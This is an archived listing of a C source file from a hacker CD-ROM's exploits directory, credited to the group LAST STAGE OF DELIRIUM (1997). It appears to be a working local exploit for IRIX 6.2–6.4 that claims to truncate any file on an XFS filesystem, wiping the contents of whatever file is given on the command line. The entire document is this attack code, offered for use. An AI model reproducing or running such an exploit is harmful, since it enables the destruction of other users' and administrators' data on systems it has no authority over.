home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_truncate.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  594 b   |  19 lines

  1. /*## copyright LAST STAGE OF DELIRIUM feb 1997 poland        *://lsd-pl.net/ #*/
  2. /*## truncate                                                                #*/
  3.  
  4. /*   truncates any file on a xfs filesystem                                   */
  5.  
  6. main(int argc,char **argv){
  7.     printf("copyright LAST STAGE OF DELIRIUM feb 1997 poland   //lsd-pl.net\n");
  8.     printf("truncate for irix 6.2 6.3 6.4 IP:all\n\n");
  9.  
  10.     if(argc!=2){
  11.         printf("usage: %s file\n",argv[0]);
  12.         exit(-1);
  13.     }
  14.  
  15.     if(!truncate(argv[1],0)) printf("file %s truncated\n",argv[1]);
  16.     else perror("error");
  17. }
  18.  
  19.